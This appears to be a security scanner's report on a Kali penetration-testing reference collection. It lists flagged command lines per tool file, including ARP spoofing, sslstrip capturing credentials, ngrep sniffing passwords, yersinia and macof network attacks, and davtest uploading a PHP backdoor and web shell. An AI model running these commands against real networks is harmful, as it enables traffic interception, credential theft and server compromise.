kali-pentest/references/post-exploitation/tools/winpeas.md
- Network accessline 15
# Download latest releases (run on Kali) curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASx64.exe -o /tmp/winpeas.exe - Network accessline 16
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASx64.exe -o /tmp/winpeas.exe - Network accessline 17
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASx86.exe -o /tmp/winpeas32.exe - Network accessline 18
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEAS.bat -o /tmp/winpeas.bat - Network accessline 84
- [PEASS-ng (GitHub)](https://github.com/peass-ng/PEASS-ng) - Network accessline 85
- [winPEAS (GitHub)](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS)
kali-pentest/references/reporting/README.md
kali-pentest/references/reporting/tools/pandoc.md
- Dangerous shell operationline 15
sudo apt install pandoc - Dangerous shell operationline 34
# sudo apt install texlive-latex-base - Dangerous shell operationline 37
# sudo apt install wkhtmltopdf - Network accessline 101
- [Pandoc Official Site](https://pandoc.org/) - Network accessline 102
- [Pandoc User's Guide](https://pandoc.org/MANUAL.html)
kali-pentest/references/reporting/tools/report-template.md
- Network accessline 110
**Affected Location**: `POST http://target.com/api/login` - Network accessline 121
**Reproduction Steps**: 1. Navigate to `http://target.com/login` - Network accessline 122
1. Navigate to `http://target.com/login` - Network accessline 129
[Credential-related source omitted] - Network accessline 154
**References**: - OWASP SQL Injection: https://owasp.org/www-community/attacks/SQL_Injection - Network accessline 155
- OWASP SQL Injection: https://owasp.org/www-community/attacks/SQL_Injection - Network accessline 156
- CWE-89: https://cwe.mitre.org/data/definitions/89.html - Network accessline 186
### B. References - OWASP Top 10: https://owasp.org/Top10/ - Network accessline 187
- OWASP Top 10: https://owasp.org/Top10/ - Network accessline 188
- NIST NVD: https://nvd.nist.gov/ - Network accessline 189
- CVE Details: https://www.cvedetails.com/ - Network accessline 219
Online Calculator: https://www.first.org/cvss/calculator/4.0 - Network accessline 261
- [OWASP Web Security Testing Guide](https://owasp.org/www-project-web-security-testing-guide/) - Network accessline 262
- [OWASP Top 10](https://owasp.org/Top10/) - Network accessline 263
- [FIRST CVSS](https://www.first.org/cvss/)
kali-pentest/references/reverse-engineering/README.md
kali-pentest/references/reverse-engineering/tools/apktool.md
kali-pentest/references/reverse-engineering/tools/binwalk.md
kali-pentest/references/reverse-engineering/tools/checksec.md
kali-pentest/references/reverse-engineering/tools/dex2jar.md
kali-pentest/references/reverse-engineering/tools/frida.md
kali-pentest/references/reverse-engineering/tools/ghidra-headless.md
kali-pentest/references/reverse-engineering/tools/jadx.md
- Network accessline 51
# Search for risky patterns grep -RniE "SharedPreferences|MODE_WORLD_READABLE|http://|Log\\.(d|e|i)|TrustManager|HostnameVerifier" /tmp/app_jadx - Network accessline 52
grep -RniE "SharedPreferences|MODE_WORLD_READABLE|http://|Log\\.(d|e|i)|TrustManager|HostnameVerifier" /tmp/app_jadx - Network accessline 65
- [jadx GitHub](https://github.com/skylot/jadx)
kali-pentest/references/reverse-engineering/tools/ldd.md
- Network accessline 57
- [ldd(1) — Linux manual page](https://man7.org/linux/man-pages/man1/ldd.1.html)
kali-pentest/references/reverse-engineering/tools/nm.md
kali-pentest/references/reverse-engineering/tools/objdump.md
kali-pentest/references/reverse-engineering/tools/objection.md
- Access to secretsline 10
[Credential-related source omitted] - Access to secretsline 60
[Credential-related source omitted] - Access to secretsline 61
[Credential-related source omitted] - Network accessline 92
- [Objection Documentation](https://github.com/sensepost/objection/wiki) - Network accessline 93
- [Objection GitHub](https://github.com/sensepost/objection)
kali-pentest/references/reverse-engineering/tools/rabin2.md
kali-pentest/references/reverse-engineering/tools/radare2.md
kali-pentest/references/reverse-engineering/tools/readelf.md
- Network accessline 69
- [readelf(1) — Linux manual page](https://man7.org/linux/man-pages/man1/readelf.1.html)
kali-pentest/references/reverse-engineering/tools/ropper.md
kali-pentest/references/reverse-engineering/tools/strings.md
kali-pentest/references/reverse-engineering/tools/xxd.md
- Network accessline 68
- [xxd Debian man page](https://manpages.debian.org/unstable/xxd/xxd.1.en.html)
kali-pentest/references/rfid-nfc/README.md
- Network accessline 72
- [Proxmark3 GitHub](https://github.com/RfidResearchGroup/proxmark3) - Network accessline 73
- [Proxmark3 command reference](https://github.com/RfidResearchGroup/proxmark3/blob/master/doc/commands.md) - Network accessline 74
- [libnfc](https://github.com/nfc-tools/libnfc) - Network accessline 75
- [OpenSC](https://github.com/OpenSC/OpenSC)
kali-pentest/references/rfid-nfc/tools/libnfc.md
kali-pentest/references/rfid-nfc/tools/opensc-tool.md
kali-pentest/references/rfid-nfc/tools/pkcs15-tool.md
kali-pentest/references/rfid-nfc/tools/proxmark3.md
kali-pentest/references/rfid-nfc/tools/scriptor.md
kali-pentest/references/sniffing-spoofing/README.md
- Network accessline 112
- [Kali Tools](https://www.kali.org/tools/all-tools/)
kali-pentest/references/sniffing-spoofing/tools/bettercap.md
- Dangerous shell operationline 15
sudo apt install bettercap - Dangerous shell operationline 39
sudo bettercap -iface eth0 - Dangerous shell operationline 42
sudo bettercap -iface eth0 -caplet /path/to/script.cap - Network accessline 44
# Web UI mode (control via browser) sudo bettercap -iface eth0 -caplet /usr/share/bettercap/caplets/http-ui.cap # Access http://127.0.0.1 (port 80) — default credentials: user / pass - Dangerous shell operationline 45
sudo bettercap -iface eth0 -caplet /usr/share/bettercap/caplets/http-ui.cap - Network accessline 45
sudo bettercap -iface eth0 -caplet /usr/share/bettercap/caplets/http-ui.cap # Access http://127.0.0.1 (port 80) — default credentials: user / pass # ⚠<U+FE0F> http-ui.cap sets api.rest.port = 8081 (API) and http.server.port = 80 (UI); verify with: - Network accessline 46
# Access http://127.0.0.1 (port 80) — default credentials: user / pass - Dangerous shell operationline 96
sudo bettercap -iface eth0 -eval "net.probe on; arp.spoof on; net.sniff on" - Network accessline 110
- [Bettercap Official Site](https://www.bettercap.org/) - Network accessline 111
- [Bettercap (GitHub)](https://github.com/bettercap/bettercap)
kali-pentest/references/sniffing-spoofing/tools/dnschef.md
- Dangerous shell operationline 15
sudo apt install dnschef - Dangerous shell operationline 38
sudo dnschef --fakeip 192.168.1.100 -i 0.0.0.0 - Dangerous shell operationline 41
sudo dnschef --fakeip 192.168.1.100 --fakedomains example.com -i 0.0.0.0 - Dangerous shell operationline 44
sudo dnschef --fakeip 192.168.1.100 --fakemail mail.evil.com --fakens ns.evil.com -i 0.0.0.0 - Dangerous shell operationline 47
sudo dnschef --file dns_rules.ini -i 0.0.0.0 - Dangerous shell operationline 50
sudo dnschef --fakeip 192.168.1.100 -i 0.0.0.0 --logfile dns_queries.log - Dangerous shell operationline 53
sudo dnschef --fakeip 192.168.1.100 --nameservers 8.8.8.8 -i 0.0.0.0 - Network accessline 80
- [DNSChef (GitHub)](https://github.com/iphelix/dnschef) - Network accessline 81
- [Kali DNSChef](https://www.kali.org/tools/dnschef/)
kali-pentest/references/sniffing-spoofing/tools/dsniff.md
- Dangerous shell operationline 15
sudo apt install dsniff - Dangerous shell operationline 71
sudo sysctl -w net.ipv4.ip_forward=1 - Dangerous shell operationline 73
sudo arpspoof -i eth0 -t 192.168.1.50 192.168.1.1 - Dangerous shell operationline 75
sudo arpspoof -i eth0 -t 192.168.1.1 192.168.1.50 - Dangerous shell operationline 79
sudo dnsspoof -i eth0 -f /tmp/dnsspoof.hosts - Dangerous shell operationline 82
sudo dsniff -i eth0 -m - Dangerous shell operationline 85
sudo macof -i eth0 -n 100000 - Dangerous shell operationline 88
sudo urlsnarf -i eth0 - Dangerous shell operationline 91
sudo tcpkill -i eth0 host 192.168.1.50 and port 443 - Network accessline 106
- [dsniff — Dug Song](https://www.monkey.org/~dugsong/dsniff/) - Network accessline 107
- [Kali dsniff](https://www.kali.org/tools/dsniff/)
kali-pentest/references/sniffing-spoofing/tools/ettercap.md
kali-pentest/references/sniffing-spoofing/tools/hping3.md
kali-pentest/references/sniffing-spoofing/tools/macchanger.md
kali-pentest/references/sniffing-spoofing/tools/netsniff-ng.md
- Dangerous shell operationline 15
sudo apt install netsniff-ng - Dangerous shell operationline 49
sudo netsniff-ng -i eth0 -o capture.pcap -s - Dangerous shell operationline 52
sudo netsniff-ng -i eth0 -o capture.pcap -f "tcp port 80 or tcp port 443" - Dangerous shell operationline 55
sudo netsniff-ng -i eth0 -o /captures/ -T 60 - Dangerous shell operationline 58
sudo netsniff-ng -i eth0 -o capture.pcap -t host - Dangerous shell operationline 61
sudo netsniff-ng -i capture.pcap -o eth0 - Dangerous shell operationline 64
sudo netsniff-ng -i eth0 -o capture.pcap -n 1000 - Dangerous shell operationline 67
sudo astraceroute -i eth0 -d example.com - Dangerous shell operationline 70
sudo trafgen -i packets.cfg -o eth0 -n 100 - Dangerous shell operationline 73
sudo ifpps -d eth0 - Dangerous shell operationline 76
sudo flowtop - Network accessline 91
- [netsniff-ng (Project Site)](http://netsniff-ng.org/) - Network accessline 92
- [Kali netsniff-ng](https://www.kali.org/tools/netsniff-ng/)
kali-pentest/references/sniffing-spoofing/tools/ngrep.md
- Dangerous shell operationline 15
sudo apt install ngrep - Dangerous shell operationline 42
sudo ngrep -q -W byline 'password' 'tcp port 80' - Dangerous shell operationline 45
sudo ngrep -q -i 'user|pass|login|token' -d eth0 - Dangerous shell operationline 51
sudo ngrep -q -W byline 'GET|POST|PUT|DELETE' 'tcp port 80' - Dangerous shell operationline 54
sudo ngrep -q -W byline '' 'udp port 5060' - Dangerous shell operationline 57
[Credential-related source omitted] - Access to secretsline 57
[Credential-related source omitted] - Dangerous shell operationline 60
sudo ngrep -q -n 50 'secret' 'tcp port 8080' - Dangerous shell operationline 63
sudo ngrep -q -x 'password' 'tcp port 21' - Dangerous shell operationline 66
sudo ngrep -q -X '485454502f312e3120323030' - Dangerous shell operationline 69
sudo ngrep -q -t 'Set-Cookie' 'tcp port 80' - Dangerous shell operationline 72
sudo ngrep -q 'example.com' 'udp port 53' - Dangerous shell operationline 75
sudo ngrep -q -W byline '' 'tcp port 25' - Network accessline 90
- [ngrep (GitHub)](https://github.com/jpr5/ngrep) - Network accessline 91
- [Kali ngrep](https://www.kali.org/tools/ngrep/)
kali-pentest/references/sniffing-spoofing/tools/scapy.md
- Dangerous shell operationline 15
sudo apt install python3-scapy - Dangerous shell operationline 80
1. Scapy requires root/sudo for raw socket operations (Layer-2 and Layer-3 packet injection). - Network accessline 90
- [Scapy (GitHub)](https://github.com/secdev/scapy) - Network accessline 91
- [Kali scapy](https://www.kali.org/tools/scapy/)
kali-pentest/references/sniffing-spoofing/tools/sslstrip.md
- Dangerous shell operationline 17
sudo apt install sslstrip - Dangerous shell operationline 35
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward - Dangerous shell operationline 38
sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000 - Dangerous shell operationline 41
sudo sslstrip -l 10000 -w sslstrip.log - Dangerous shell operationline 44
sudo sslstrip -l 10000 -f -w sslstrip.log - Dangerous shell operationline 47
sudo sslstrip -l 10000 -p -w credentials.log - Dangerous shell operationline 50
sudo iptables -t nat -D PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000 - Network accessline 65
- [sslstrip (GitHub)](https://github.com/moxie0/sslstrip) - Network accessline 66
- [Kali sslstrip](https://www.kali.org/tools/sslstrip/)
kali-pentest/references/voip-ics/README.md
kali-pentest/references/voip-ics/tools/enumiax.md
- Network accessline 54
- [Kali enumiax](https://www.kali.org/tools/enumiax/)
kali-pentest/references/voip-ics/tools/ipmitool.md
kali-pentest/references/voip-ics/tools/modbus-cli.md
kali-pentest/references/voip-ics/tools/plcscan.md
kali-pentest/references/voip-ics/tools/sippts.md
kali-pentest/references/voip-ics/tools/sipvicious.md
kali-pentest/references/voip-ics/tools/voiphopper.md
- Network accessline 61
- [Kali voiphopper](https://www.kali.org/tools/voiphopper/)
kali-pentest/references/voip-ics/tools/yersinia.md
- Dangerous shell operationline 15
sudo apt install yersinia - Dangerous shell operationline 78
sudo yersinia stp -attack 4 -interface eth0 - Dangerous shell operationline 81
sudo yersinia dhcp -attack 1 -interface eth0 - Dangerous shell operationline 84
sudo yersinia dtp -attack 1 -interface eth0 - Dangerous shell operationline 87
sudo yersinia cdp -attack 1 -interface eth0 - Dangerous shell operationline 90
sudo yersinia dot1q -attack 1 -interface eth0 - Network accessline 105
- [yersinia GitHub](https://github.com/tomac/yersinia) - Network accessline 106
- [Kali yersinia](https://www.kali.org/tools/yersinia/)
kali-pentest/references/vulnerability/README.md
- Network accessline 179
- [Kali Tools](https://www.kali.org/tools/all-tools/)
kali-pentest/references/vulnerability/tools/enum4linux-ng.md
kali-pentest/references/vulnerability/tools/enum4linux.md
kali-pentest/references/vulnerability/tools/ike-scan.md
kali-pentest/references/vulnerability/tools/ismtp.md
kali-pentest/references/vulnerability/tools/lynis.md
- Dangerous shell operationline 15
sudo apt install lynis - Dangerous shell operationline 41
sudo lynis audit system - Dangerous shell operationline 47
sudo lynis audit system --quick - Dangerous shell operationline 50
sudo lynis audit system --report-file /tmp/lynis_report.dat - Dangerous shell operationline 53
sudo lynis audit system --tests-from-group authentication - Dangerous shell operationline 54
sudo lynis audit system --tests-from-group networking - Dangerous shell operationline 55
sudo lynis audit system --tests-from-group malware - Dangerous shell operationline 58
sudo lynis audit system --quick --quiet --no-colors > /tmp/lynis_output.txt - Dangerous shell operationline 77
3. Use `--tests-from-group authentication` to quickly audit login and sudo configuration after gaining a shell. - Network accessline 86
- [Lynis Official Site](https://cisofy.com/lynis/) - Network accessline 87
- [Lynis GitHub](https://github.com/CISOfy/lynis)
kali-pentest/references/vulnerability/tools/nuclei.md
- Dangerous shell operationline 15
sudo apt install nuclei - Network accessline 73
# Scan with the default template set nuclei -u http://target.com - Network accessline 74
nuclei -u http://target.com - Network accessline 79
# Scan by category — use explicit path when auto-detection fails nuclei -u http://target.com -t "$TMPL/http/cves/" - Network accessline 80
nuclei -u http://target.com -t "$TMPL/http/cves/" - Network accessline 81
nuclei -u http://target.com -t "$TMPL/http/exposures/" - Network accessline 82
nuclei -u http://target.com -t "$TMPL/http/misconfiguration/" - Network accessline 83
nuclei -u http://target.com -t "$TMPL/http/vulnerabilities/" - Network accessline 84
nuclei -u http://target.com -t "$TMPL/http/technologies/" - Network accessline 86
# Scan for high severity and above only nuclei -u http://target.com -severity critical,high - Network accessline 87
nuclei -u http://target.com -severity critical,high - Network accessline 89
# Scan by tags nuclei -u http://target.com -tags lfi,ssrf,rce - Network accessline 90
nuclei -u http://target.com -tags lfi,ssrf,rce - Network accessline 91
nuclei -u http://target.com -tags log4j - Network accessline 93
# Specify a particular CVE nuclei -u http://target.com -id CVE-2021-44228 - Network accessline 94
nuclei -u http://target.com -id CVE-2021-44228 - Network accessline 95
nuclei -u http://target.com -id CVE-2021-44228,CVE-2022-22965 - Network accessline 97
# JSONL output (one result per line) nuclei -u http://target.com -jsonl -o /tmp/nuclei_results.jsonl - Network accessline 98
nuclei -u http://target.com -jsonl -o /tmp/nuclei_results.jsonl - Network accessline 100
# JSON export (single structured JSON file) nuclei -u http://target.com -json-export /tmp/nuclei_results.json - Network accessline 101
nuclei -u http://target.com -json-export /tmp/nuclei_results.json - Network accessline 103
# Rate limiting (to avoid WAF) nuclei -u http://target.com -rate-limit 50 -c 10 - Network accessline 104
nuclei -u http://target.com -rate-limit 50 -c 10 - Network accessline 109
# Use a proxy nuclei -u http://target.com -proxy http://127.0.0.1:8080 - Network accessline 110
nuclei -u http://target.com -proxy http://127.0.0.1:8080 - Network accessline 112
[Credential-related source omitted] - Network accessline 113
[Credential-related source omitted] - Network accessline 120
3. Use `-rate-limit` and `-c` to throttle scan speed when testing production systems or when behind a WAF — aggressive defaults can trigger rate limiting or IP bans. 4. **Zero output with no error**: add `-v` to check whether templates are - Network accessline 121
4. **Zero output with no error**: add `-v` to check whether templates are actually being loaded. If no probes appear, the template path is wrong — use the `find` command from the Template Directories section above and pass the result explic - Network accessline 122
5. **Authenticated endpoints with custom signing**: `-H` only injects static headers — it cannot compute per-request signatures. For APIs requiring dynamic signing (HMAC, timestamp+nonce), build a local signing proxy and pass `-proxy http:/ - Network accessline 129
- [Nuclei GitHub](https://github.com/projectdiscovery/nuclei) - Network accessline 130
- [Nuclei Documentation](https://docs.projectdiscovery.io/tools/nuclei) - Network accessline 131
- [Nuclei Templates](https://github.com/projectdiscovery/nuclei-templates)
kali-pentest/references/vulnerability/tools/onesixtyone.md
kali-pentest/references/vulnerability/tools/openvas.md
- Dangerous shell operationline 15
sudo apt install gvm - Dangerous shell operationline 18
sudo gvm-setup - Dangerous shell operationline 20
sudo gvm-check-setup - Dangerous shell operationline 23
sudo gvm-start - Network accessline 33
# Access the Greenbone Security Assistant (GSA) Web interface # https://127.0.0.1:9392 - Network accessline 34
# https://127.0.0.1:9392 - Dangerous shell operationline 39
sudo greenbone-feed-sync - Network accessline 135
- [Greenbone Documentation](https://greenbone.github.io/docs/) - Network accessline 136
- [OpenVAS Scanner GitHub](https://github.com/greenbone/openvas-scanner) - Network accessline 137
- [Greenbone Vulnerability Management](https://www.greenbone.net/en/vulnerability-management/)
kali-pentest/references/vulnerability/tools/smbmap.md
kali-pentest/references/vulnerability/tools/smtp-user-enum.md
- Dangerous shell operationline 15
sudo apt update - Dangerous shell operationline 16
sudo apt install smtp-user-enum - Network accessline 78
- [smtp-user-enum by pentestmonkey](https://pentestmonkey.net/tools/user-enumeration/smtp-user-enum) - Network accessline 79
- [Kali smtp-user-enum](https://www.kali.org/tools/smtp-user-enum/)
kali-pentest/references/vulnerability/tools/snmpcheck.md
kali-pentest/references/vulnerability/tools/snmpwalk.md
kali-pentest/references/vulnerability/tools/sslscan.md
kali-pentest/references/vulnerability/tools/sslyze.md
- Dangerous shell operationline 15
sudo apt install sslyze - Network accessline 91
- [sslyze (GitHub)](https://github.com/nabla-c0d3/sslyze) - Network accessline 92
- [sslyze Documentation](https://nabla-c0d3.github.io/sslyze/documentation/) - Network accessline 93
- [Kali sslyze](https://www.kali.org/tools/sslyze/)
kali-pentest/references/vulnerability/tools/swaks.md
kali-pentest/references/vulnerability/tools/testssl.sh.md
- Dangerous shell operationline 15
sudo apt install testssl.sh - Network accessline 15
sudo apt install testssl.sh # Or run directly from GitHub (requires bash 4+ and openssl): git clone https://github.com/drwetter/testssl.sh.git - Network accessline 16
# Or run directly from GitHub (requires bash 4+ and openssl): git clone https://github.com/drwetter/testssl.sh.git cd testssl.sh && ./testssl.sh --help - Network accessline 17
git clone https://github.com/drwetter/testssl.sh.git - Network accessline 76
- [testssl.sh (GitHub)](https://github.com/drwetter/testssl.sh) - Network accessline 77
- [Kali testssl.sh](https://www.kali.org/tools/testssl.sh/)
kali-pentest/references/vulnerability/tools/trivy.md
- Dangerous shell operationline 15
sudo apt update - Dangerous shell operationline 16
sudo apt install trivy - Network accessline 48
# Scan a remote Git repository trivy repo --scanners vuln,secret,misconfig https://github.com/example/repo - Network accessline 49
trivy repo --scanners vuln,secret,misconfig https://github.com/example/repo - Network accessline 67
- [Trivy Documentation](https://trivy.dev/latest/docs/) - Network accessline 68
- [Trivy GitHub](https://github.com/aquasecurity/trivy) - Network accessline 69
- [Kali trivy](https://www.kali.org/tools/trivy/)
kali-pentest/references/web/README.md
- Network accessline 23
| Black-box web vulnerability scanning | `wapiti` | — | | WebDAV testing | `davtest` | — | | Traffic proxy | `mitmproxy` / `mitmdump` | Use `curl -x` when only request replay is needed | - Network accessline 24
| WebDAV testing | `davtest` | — | | Traffic proxy | `mitmproxy` / `mitmdump` | Use `curl -x` when only request replay is needed | | Padding oracle | `padbuster` | — | - Network accessline 25
| Traffic proxy | `mitmproxy` / `mitmdump` | Use `curl -x` when only request replay is needed | - Network accessline 231
- [OWASP Top 10](https://owasp.org/www-project-top-ten/) - Network accessline 232
- [Kali Tools](https://www.kali.org/tools/all-tools/)
kali-pentest/references/web/tools/arjun.md
- Dangerous shell operationline 16
sudo apt install arjun - Network accessline 42
# Discover GET parameters arjun -u http://target.com/search - Network accessline 43
arjun -u http://target.com/search - Network accessline 45
# Discover POST parameters arjun -u http://target.com/api -m POST - Network accessline 46
arjun -u http://target.com/api -m POST - Network accessline 48
# JSON body parameters arjun -u http://target.com/api -m JSON - Network accessline 49
arjun -u http://target.com/api -m JSON - Network accessline 54
# Custom wordlist arjun -u http://target.com/ -w /path/to/params.txt - Network accessline 55
arjun -u http://target.com/ -w /path/to/params.txt - Network accessline 57
# With Cookie (JSON dict format required) arjun -u http://target.com/ --headers '{"Cookie": "session=abc123"}' - Network accessline 58
arjun -u http://target.com/ --headers '{"Cookie": "session=abc123"}' - Network accessline 60
# JSON output arjun -u http://target.com/ -oJ /tmp/params.json - Network accessline 61
arjun -u http://target.com/ -oJ /tmp/params.json - Network accessline 63
# Concurrent arjun -u http://target.com/ -t 10 - Network accessline 64
arjun -u http://target.com/ -t 10 - Network accessline 79
- [Arjun GitHub](https://github.com/s0md3v/Arjun)
kali-pentest/references/web/tools/clairvoyance.md
- Network accessline 41
# Recover schema from GraphQL endpoint clairvoyance -o /tmp/schema.json https://target/graphql - Network accessline 42
clairvoyance -o /tmp/schema.json https://target/graphql - Network accessline 44
[Credential-related source omitted] - Network accessline 45
[Credential-related source omitted] - Network accessline 47
# Use a wordlist for brute-forcing with validation clairvoyance -w /tmp/graphql_wordlist.txt -wv -o /tmp/schema.json https://target/graphql - Network accessline 48
clairvoyance -w /tmp/graphql_wordlist.txt -wv -o /tmp/schema.json https://target/graphql - Network accessline 50
# Slow profile for rate-limited targets (1 concurrent, 50 retries, backoff 2) clairvoyance -p slow -o /tmp/schema.json https://target/graphql - Network accessline 51
clairvoyance -p slow -o /tmp/schema.json https://target/graphql - Network accessline 53
# Use a proxy and supplemental input schema clairvoyance -x http://127.0.0.1:8080 -i /tmp/partial.json -o /tmp/schema.json https://target/graphql - Network accessline 54
clairvoyance -x http://127.0.0.1:8080 -i /tmp/partial.json -o /tmp/schema.json https://target/graphql - Network accessline 56
# Disable SSL verification with verbose output and progress bar clairvoyance -k -v --progress -o /tmp/schema.json https://target/graphql - Network accessline 57
clairvoyance -k -v --progress -o /tmp/schema.json https://target/graphql - Network accessline 71
- [Clairvoyance GitHub](https://github.com/nikitastupin/clairvoyance)
kali-pentest/references/web/tools/cmseek.md
- Dangerous shell operationline 15
sudo apt install cmseek - Network accessline 42
# Detect CMS and enumerate cmseek -u http://example.com - Network accessline 43
cmseek -u http://example.com - Network accessline 45
# Follow redirects (required for most HTTPS sites) cmseek -u http://example.com --follow-redirect - Network accessline 46
cmseek -u http://example.com --follow-redirect - Network accessline 51
# Bypass basic WAF User-Agent filtering cmseek -u http://example.com --random-agent --follow-redirect - Network accessline 52
cmseek -u http://example.com --random-agent --follow-redirect - Network accessline 54
# Verbose mode cmseek -u http://example.com -v - Network accessline 55
cmseek -u http://example.com -v - Network accessline 60
1. cmseek covers 180+ CMS types — use it first when you don't know the target CMS, then pivot to specialized tools. 2. Results are saved to `Result/<domain>/cms.json` — review it for version, detected users, and vulnerability data. 3. If de - Network accessline 61
2. Results are saved to `Result/<domain>/cms.json` — review it for version, detected users, and vulnerability data. 3. If detection fails, inspect headers manually: `curl -I http://example.com` often reveals CMS through `X-Powered-By`, cook - Network accessline 62
3. If detection fails, inspect headers manually: `curl -I http://example.com` often reveals CMS through `X-Powered-By`, cookies, or generator meta tags. - Network accessline 64
5. Detected version + nuclei CVE templates is a powerful combination: `nuclei -t http/cves/ -u http://example.com` after cmseek identifies the CMS. - Network accessline 70
- [CMSeeK (GitHub)](https://github.com/Tuhinshubhra/CMSeeK) - Network accessline 71
- [Kali cmseek](https://www.kali.org/tools/cmseek/)
kali-pentest/references/web/tools/commix.md
- Dangerous shell operationline 15
sudo apt install commix - Network accessline 40
# Detect GET parameter commix --url="http://target.com/ping?host=INJECT_HERE" - Network accessline 41
commix --url="http://target.com/ping?host=INJECT_HERE" - Network accessline 43
# POST parameter commix --url="http://target.com/" --data="ip=INJECT_HERE" - Network accessline 44
commix --url="http://target.com/" --data="ip=INJECT_HERE" - Network accessline 46
# Auto-detect parameter (without specifying INJECT_HERE) commix --url="http://target.com/ping?host=127.0.0.1" - Network accessline 47
commix --url="http://target.com/ping?host=127.0.0.1" - Network accessline 49
# Execute a command commix --url="http://target.com/ping?host=127.0.0.1" --os-cmd="id" - Network accessline 50
commix --url="http://target.com/ping?host=127.0.0.1" --os-cmd="id" - Network accessline 55
# Use proxy (through Burp) commix --url="http://target.com/ping?host=127.0.0.1" --proxy="http://127.0.0.1:8080" - Network accessline 56
commix --url="http://target.com/ping?host=127.0.0.1" --proxy="http://127.0.0.1:8080" - Network accessline 71
- [commix GitHub](https://github.com/commixproject/commix)
kali-pentest/references/web/tools/crlfuzz.md
- Dangerous shell operationline 15
sudo apt install crlfuzz - Network accessline 37
# Test a single URL crlfuzz -u "http://example.com/page?param=value" - Network accessline 38
crlfuzz -u "http://example.com/page?param=value" - Network accessline 49
# Route through Burp Suite proxy crlfuzz -u "http://example.com/?q=test" --proxy http://127.0.0.1:8080 - Network accessline 50
crlfuzz -u "http://example.com/?q=test" --proxy http://127.0.0.1:8080 - Network accessline 65
- [CRLFuzz (GitHub)](https://github.com/dwisiswant0/crlfuzz) - Network accessline 66
- [Kali crlfuzz](https://www.kali.org/tools/crlfuzz/)
kali-pentest/references/web/tools/dalfox.md
- Dangerous shell operationline 15
sudo apt install dalfox - Network accessline 20
# Alternative: download release binary from GitHub curl -sL https://github.com/hahwul/dalfox/releases/latest/download/dalfox-linux-amd64.tar.gz | tar xz -C /tmp/ && mv /tmp/dalfox-linux-amd64 /usr/local/bin/dalfox - Network accessline 21
curl -sL https://github.com/hahwul/dalfox/releases/latest/download/dalfox-linux-amd64.tar.gz | tar xz -C /tmp/ && mv /tmp/dalfox-linux-amd64 /usr/local/bin/dalfox - Network accessline 51
# Basic XSS scan dalfox url http://target.com/search?q=test - Network accessline 52
dalfox url http://target.com/search?q=test - Network accessline 54
# POST parameters dalfox url http://target.com/search --data "q=test&page=1" - Network accessline 55
dalfox url http://target.com/search --data "q=test&page=1" - Network accessline 57
# With Cookie dalfox url http://target.com/ -C "session=abc123" - Network accessline 58
dalfox url http://target.com/ -C "session=abc123" - Network accessline 63
# Pipe input echo "http://target.com/search?q=test" | dalfox pipe - Network accessline 64
echo "http://target.com/search?q=test" | dalfox pipe - Network accessline 69
# Use proxy dalfox url http://target.com/search?q=test --proxy http://127.0.0.1:8080 - Network accessline 70
dalfox url http://target.com/search?q=test --proxy http://127.0.0.1:8080 - Network accessline 72
# Specify payload dalfox url http://target.com/ --custom-payload /tmp/xss_payloads.txt - Network accessline 73
dalfox url http://target.com/ --custom-payload /tmp/xss_payloads.txt - Network accessline 75
# JSON output dalfox url http://target.com/search?q=test --format json -o /tmp/xss_results.json - Network accessline 76
dalfox url http://target.com/search?q=test --format json -o /tmp/xss_results.json - Network accessline 92
- [dalfox GitHub](https://github.com/hahwul/dalfox) - Network accessline 93
- [dalfox Documentation](https://dalfox.hahwul.com/page/overview/)
kali-pentest/references/web/tools/davtest.md
- Dangerous shell operationline 17
sudo apt install davtest - Network accessline 42
# Basic WebDAV test — upload test files and check execution davtest -url http://target.com/webdav/ - Network accessline 43
davtest -url http://target.com/webdav/ - Network accessline 45
# Authenticated WebDAV test davtest -url http://target.com/webdav/ -auth admin:password - Network accessline 46
davtest -url http://target.com/webdav/ -auth admin:password - Network accessline 48
# Test with cleanup (remove uploaded files after testing) davtest -url http://target.com/webdav/ -cleanup - Network accessline 49
davtest -url http://target.com/webdav/ -cleanup - Network accessline 51
# Send a PHP backdoor after confirming PHP execution davtest -url http://target.com/webdav/ -sendbd php - Network accessline 52
davtest -url http://target.com/webdav/ -sendbd php - Network accessline 54
# Test MOVE method (bypass extension filters) davtest -url http://target.com/webdav/ -move - Network accessline 55
davtest -url http://target.com/webdav/ -move - Network accessline 57
# Upload a specific file to a target location davtest -url http://target.com/webdav/ -uploadfile /tmp/shell.aspx -uploadloc shell.aspx - Network accessline 58
davtest -url http://target.com/webdav/ -uploadfile /tmp/shell.aspx -uploadloc shell.aspx - Network accessline 60
# Test in a specific remote directory with custom prefix davtest -url http://target.com/webdav/ -directory uploads -rand testfile - Network accessline 61
davtest -url http://target.com/webdav/ -directory uploads -rand testfile - Network accessline 63
# Quiet mode — summary output only davtest -url http://target.com/webdav/ -cleanup -quiet - Network accessline 64
davtest -url http://target.com/webdav/ -cleanup -quiet - Network accessline 81
- [davtest GitHub](https://github.com/cldrn/davtest) - Network accessline 82
- [Kali davtest](https://www.kali.org/tools/davtest/)
kali-pentest/references/web/tools/dirb.md
- Dangerous shell operationline 15
sudo apt install dirb -y - Network accessline 25
| `-z <ms>` | Add a milliseconds delay to not cause excessive flood | | `-a <agent>` | Custom User-Agent string | | `-p <proxy>` | Use proxy (`http://host:port`) | - Network accessline 26
| `-a <agent>` | Custom User-Agent string | | `-p <proxy>` | Use proxy (`http://host:port`) | | `-c <cookie>` | Set a cookie for the HTTP request | - Network accessline 27
| `-p <proxy>` | Use proxy (`http://host:port`) | - Network accessline 46
# Scan with default wordlist dirb http://target.com - Network accessline 47
dirb http://target.com - Network accessline 49
# Scan with custom wordlist dirb http://target.com /usr/share/wordlists/dirb/big.txt - Network accessline 50
dirb http://target.com /usr/share/wordlists/dirb/big.txt - Network accessline 56
# Scan for specific file extensions dirb http://target.com -X .php,.html,.txt - Network accessline 57
dirb http://target.com -X .php,.html,.txt - Network accessline 59
# Scan for backup and sensitive files dirb http://target.com -X .bak,.old,.zip,.sql,.conf - Network accessline 60
dirb http://target.com -X .bak,.old,.zip,.sql,.conf - Network accessline 66
